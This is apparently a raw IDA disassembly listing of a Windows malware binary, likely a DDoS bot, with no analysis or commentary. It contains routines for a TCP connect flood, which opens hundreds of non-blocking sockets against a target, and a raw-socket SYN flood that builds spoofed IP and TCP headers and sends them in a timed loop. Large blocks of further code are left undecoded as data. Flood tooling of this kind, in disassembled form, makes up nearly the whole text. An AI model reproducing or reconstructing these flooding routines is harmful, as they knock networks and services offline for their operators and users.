		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 0E8575959h, 22CD0C8h, 0F44D8D90h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B63415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A86Co
		dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22CD050h, 0FE48858Dh
		dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0E9E89057h,	6A022CCFh
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0C805C600h, 45004CE3h,	0B65415FFh, 7D39004Ch
		dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
		dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3DC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3DE3D89h
		dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3E4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 0E8905759h, 22CCE00h, 0FFFC75FFh,	4CB6EC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 90575959h
		dd 2CCD7BE8h
		db 2
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 0BDE89057h, 3B022CCCh, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB70Ch
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 90535959h, 2CCBEFE8h
		db 2
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0E8900000h
		dd 227D9C9h, 8492E850h,	6A590000h, 6A026A11h, 0D415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6D815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022CCBh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 9FE890D8h
		dd 4E0226D0h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 0D9E89057h
		db 0C9h, 2Ch, 2
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 0E8905659h, 22CC93Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		call	near ptr 2680646h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 0C796E890h, 5E5F022Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2770B5Bh
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27708A2h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27708A2h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43643C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 0E8565959h, 22CC3E8h, 555E5F90h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB634h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	5415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB654h
		dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
		dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 1E89053h, 8D022CC1h
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B63415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 0E8535959h
		dd 22CC084h, 0C4858D90h, 50FFFFFDh, 0B69415FFh,	0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2CC013E8h, 8D106A02h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B69415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
		dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0C068h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
		dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h
		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
		dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
		dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
